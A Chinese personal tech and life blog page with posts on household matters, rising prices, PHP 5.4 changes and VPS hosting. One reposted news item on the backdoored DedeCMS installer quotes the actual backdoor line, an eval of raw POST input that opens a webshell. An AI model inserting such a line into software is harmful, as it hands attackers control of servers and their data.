Misc

浏览模式: 标准 | 列表 | 图文
假日记事

假日记事

三天的小长假转瞬即过,期间发生了一些事情,随便记录记录
1、水管。水管的事情以前在博客里也提过,爆了两三次了,但以前都是头疼医头,可是这样折腾几次之后反而更累,所以这次乘着小长假,直接铺明管了。虽然打了不少洞,但水力是大了不少,感觉也好一点了。只是不知道这次水管的寿命是多久,每一次新材料出来都说可以用几十年,但事实上十年左右都算长的了。原来的复合管理论上是40年左右,其实也就是15年不到,接口就裂了。哎

2、手表,swatch,也是新材料的事情,老婆买的手表,说是表带是新材料,很开心,结果还没有满半年,表带就裂了。然后乘着小长假想去换个表带,结果swatch的人说表带不属保修范围,那问了一下,表带换一下多少钱,服务员很平淡的说,200。我问他表多少钱,他说表500多,我晶啊,一个表带200,一个表才300多,怪不得表带不属保修范围内。老婆是下决心不再买swatch了。也要和朋友们说说,少买啊,所谓的新材料,实在不保险,关键是裂开的地方还不是那些经常使用的部位。

3、小朋友。小朋友发高烧了,这回愿意贴冰贴了,问他为什么现在愿意以前不愿意,回答是我长大了呀。每次都感觉他在生病一次后,人会长大不少,会懂事不少。所幸这次只是发烧,其他没啥大事。

4、其他。其他的事情就是物价上涨了,以前6块的拉面,现在8块了;以前6毛的油条,现在1块了;以前1块的包子,现在1.5了,这种上涨幅度太吓人了,以后不知道还会涨成什么样子。以前100块真的可以用1周,现在一破开就不知道用到哪里了。可乐这么多年来都是2.5左右的,现在也3.2了。哎,喝不起了。看来以后还是需要象小时候那样,每天带个水壶了。

怎样吸引用户

很简单的几个想法,也只是我个人的见解没有其他意义,请不要深究

1、有内容,至于这个内容是什么样的,仁者见仁,毕竟每个人的爱好都不一样,是想要小众还是大众,得看产品定位,但切不可乱,一乱就麻烦了

2、有争议,如果没有争议,只是平庸,终究很快就被人淡忘

3、有品味,这个品味不一定是指内容高雅,也许是设计,也许是操作也许是其他

4、有手感,如果网站(APP)的操作没有流畅度可言,也是不会留住用户的

5、有互动,这就不多说了,SNS就是最大的互动,但怎么样算是做好,就难说了。。。

6、有深度,不管是内容还是品味,还是其他,要有深度,太肤浅的东西,或者刚开始有兴趣,但不会让用户有停留

7、有更新,不一定是说内容更新要快,也可能是网站(APP)经常会有一些小亮点,这点对于升级控来说很重要,即使不是升级控,或许多一个贴心的小功能也会让人很开心,增加粘度。

其实还有不少,但不想说了,反正说白了,要多为别人考虑,同时也要将自身代入,试想,如果是你看到这个网站或者APP,你会怎么看待它,等这个做好了就完满了。

几个有用的网站链接

我日,写了半天就没了。。。

1、http://www.colorzilla.com/gradient-editor/
A powerful Photoshop-like CSS gradient editor from ColorZilla.

2、http://www.speich.net/articles/2010/07/27/how-to-create-php-documentation-in-phpstorm/
如何配置phpstorm中的phpdoc

3、http://www.ibm.com/developerworks/cn/aix/library/es-unix-perfmonsar.html
http://www.cnblogs.com/jackyrong/archive/2008/08/02/1258835.html
这两天我的VPS经常CPU过高,11爷推荐我说用Sar,由于不清楚sar,所以找了点资料,上面的URL是我找的,下面的是11爷给推荐的

4、 http://www.cnblogs.com/stephen-liu74/archive/2012/03/28/2357783.html
http://blog.nosqlfan.com/html/2942.html
http://www.cnblogs.com/stephen-liu74/archive/2012/03/26/2356951.html
Redis 相关资料

5、http://www.myhack58.com/Article/html/3/62/2012/32870.htm
http://www.linuxde.net/2011/11/1953.html
这两个URL是防范http trace攻击的

6、http://jsfiddle.net/k5VET/
http://www.zhangxinxu.com/study/200909/text-overflow-ellipsis-so-on.html
关于文字内容溢出用点点点(...)省略号表示
-------
暂时只放这么多。。。

转:蛋疼的版本提交日志TOP10

10. XXXX项目-改版 // 你用一次也就罢了,需要整个项目期间提交的日志都是这句话嘛...

9. 修改 // 如果版本提交不是做修改,莫非骗提交率来了?

8. BUG修改 // 是不是还要先提交一个版本叫做“BUG生成”?

7. 修改BUG // LS的,猿粪呐!~

6. 测试 // 册那...

5. test // 猿粪,又见猿粪

4. 版本更新 // 俺又不是siri,发出这种让人产生联想的指令干嘛,讨厌~

3. update // 你就算说英文俺也变不成siri

2. publish // 小样,会的词还挺多啊!

1. svn // 靠.......

---------

挺有意思,不过,我大部分还是习惯将主要更新内容扔上去,但如果一次上传过多的时候就没办法写了。一个一个的上传也不是个办法。。。

一张图引发的思考

一张图引发的思考

这张图和开发有关,是别人在QQ上发的。我觉得很有内涵,其实做到后面,大家都会知道,工作重心在哪里,但在工作初期,面对着工作安排的时候,总是找不到自己的重心,明明自己做了很多事情,但别人都看不到。事实上,别人关注的是结果,但你一直在过程上往复往复,别人当然无法看到。如果结果有出来,而且随着时间的推进,你一步步的优化,别人看到结果一点点变好,不是更好吗?

77d8ebde7740cdae7cee11b57716bee3

你想一次性做完,但其实不可能考虑的很多,但却在局部上耗费了大量的时间,反而影响整个项目进度,不是吗?

-----

后记,因为图是QQ截图中的,所以少了一个header。经11爷指点,才知道这个图是这里的:http://blog.xiqiao.info/2012/03/16/1150

不好意思啊,西乔。。。

震惊:织梦CMS系统被曝植入后门 70万网站资料或泄露

震惊:织梦CMS系统被曝植入后门 70万网站资料或泄露

看到这个标题的时候,我真的很震惊啊。

新闻内容很短,但很让人震惊,开源软件在国内已经沦落到这种地步了吗?不过,真要说dede开源也不是特别好认为,虽然代码是开源的,但其实并没有很多人为它做过贡献,而在国外,开源软件都代表了很多人参与,国内,果然还是不劳而获的人更多啊。否则象这种问题早就被人发现了。因为没有类似象SVN的工具,谁也不知道究竟这段代码是谁上传的,如果你的项目扔在google code等托管平台上,早就被N个人发现了吧。
---------------

网易科技讯 3月22日消息,瑞星与360今日对外发布警示,称国内知名的PHP开源网站管理系统织梦CMS(DedeCms)v5.7 sp1版本安装包被发现植入后门,黑客可通过此后门直接获得网站的控制权限,获取存储在服务器上的文件和数据库。

据织梦CMS官方数据显示,目前约有70万网站使用该系统搭建,涉及企业、政府机关、媒体机构、行业及个人网站等。

安全界人士分析发现,此次织梦CMS曝出的后门恶意代码存在于购物车类文件(shopcar.class.php)中,此类文件被植入一句后门代码 “@eval(file_get_contents('php://input'));”。凡是调用该购物车类的文件均会触发后门,黑客只需要构造简单的 数据包提交到服务器,就能够获取到该网站的WebShell,通过对服务器进一步渗透攻击,进而获取服务器的最高权限,直接访问服务器上的文件、数据库等 信息。(易科)

9fb4908afb156210b7360ab6f61fc563

又一次迁移:将站点移到了linode上

又一次迁移:将站点移到了linode上

本来我是很讨厌一直迁移的,但burst一直无故挂掉,实在受不了。
一咬牙就换到了linode上面了,用ping.chinaz.com试了一下,好象电信访问的速度都比较慢,但联通线路却很快。(不过我在公司的电信光纤在最快的时候达到了100ms以下)
家里的网络是长宽,也很快,一下子欣慰了。
直接用Scp将burst的数据抓回来,很快,一下子就转换过来了。

准备向burst申请退款,NND。

Google Cloud Storage

Google Cloud Storage

由于看了几个VPS都是空间比较小,所以开始考虑是否用第三方存储来放置一些数据。
其实在国外有很多类似的工具,比如dropbox,sugarsync,但这些其实在命令行下用起来都不太方便或者说用PHP调用,所以还是考虑了一些S3或者googlestorage之类的存储。

google有一些现成的工具:https://developers.google.com/storage

Google Cloud Storage is a new service for developers to store and access data in Google's cloud. It offers developers direct access to Google's scalable storage and networking infrastructure as well as powerful authentication and data sharing mechanisms. Developers can store objects of any size and manage access to their data on an individual or group basis using Google Cloud Storage.

Google Cloud Storage is accessible through its REST API or using any of the available Google Cloud Storage tools, including:

  • Google Storage Manager - A graphical user interface with drag-and-drop features to manage your buckets and objects.
  • GSUtil - A command line tool that lets you perform basic and advanced tasks for Google Cloud Storage.

S3的话,会相对比较资料更多一点,毕竟还是老牌供应商,这里有一篇详细教程:http://www.xieyidian.com/2665,图文并茂,在这里还有文中所提到的计算器:在线计算器

现在还在犹豫,因为毕竟我对这些都不熟,英文也烂,不知道怎么搞比较好,纠结啊。

-------

所以,本文只是备份资料,下次用的时候可以直接找到它

PHP 5.4 更新

PHP 5.4 更新

有些更新由于没有仔细看,结果就出错了,所以,还是COPY出来,以后查起来方便一点,顺便告诉自己,session函数有部分不能用了。。。

Backward Incompatible Changes

Although most existing PHP 5 code should work without changes, please take note of some backward incompatible changes:

  • Safe mode is no longer supported. Any applications that rely on safe mode may need adjustment, in terms of security.【如果有运行在安全模式下的程序,要发了。。。。】
  • Magic quotes has been removed. Applications relying on this feature may need to be updated, to avoid security issues. get_magic_quotes_gpc() and get_magic_quotes_runtime() now always return FALSE. 【这个是早就知道了】set_magic_quotes_runtime() raises an E_CORE_ERROR level error.
  • The register_globals and register_long_arrays php.ini directives have been removed.【第二个函数没用过,现在也不用了】
  • Call-time pass by reference has been removed.【早就不用了。。。。】
  • The break and continue statements no longer accept variable arguments (e.g., break 1 + foo() * $bar;). Static arguments still work, such as break 2;.【HOHO,这个嘛。。。不影响 】
  • In the date and time extension, the timezone can no longer be set using the TZ environment variable. Instead you have to specify a timezone using the date.timezone php.ini option or date_default_timezone_set() function. PHP will no longer attempt to guess the timezone, and will instead fall back to "UTC" and issue a E_WARNING.【这个可能需要注意了。。。。】
  • Non-numeric string offsets - e.g. $a['foo'] where $a is a string - now return false on isset() and true on empty(), and produce a E_WARNING if you try to use them. Offsets of types double, bool and null produce a E_NOTICE. Numeric strings (e.g. $a['2']) still work as before. Note that offsets like '12.3' and '5 foobar' are considered non-numeric and produce a E_WARNING, but are converted to 12 and 5 respectively, for backward compatibility reasons.【。。。。。会有意外了】
  • Converting an array to a string will now generate an E_NOTICE level error, but the result of the cast will still be the string "Array".
  • Turning NULL, FALSE, or an empty string into an object by adding a property will now emit an E_WARNING level error, instead of E_STRICT.
  • Parameter names that shadow super globals now cause a fatal error. This prohibits code like function foo($_GET, $_POST) {}.【难道有人这么用过???】
  • The Salsa10 and Salsa20 hash algorithms have been removed.
  • array_combine() now returns array() instead of FALSE when two empty arrays are provided as parameters.
  • If you use htmlentities() with asian character sets, it works like htmlspecialchars() - this has always been the case in previous versions of PHP, but now an E_STRICT level error is emitted.

The following keywords are now reserved, and may not be used as names by functions, classes, etc.

The following functions have been removed from PHP:

升级sablog 2.0失败

升级sablog 2.0失败

纠结了很久,还是失败了。
看了一下出问题的step,发现是drop table的问题,我开始以为是我的权限有问题。但。。。我设置为ROOT也没用。所以暂时不升级了。真纠结啊

---------
顺便:
从PHP5.4开始,session_register函数禁用了。所以,如果还在使用Sablog1.6的人,记着。。。seccode.php中,这一行注释掉,否则。。。验证码就出不来了。
---------
由于升级到5.4后,默认display_error为OFF,所以很多错误 都显示不出来,排查了好久才解决这个问题啊。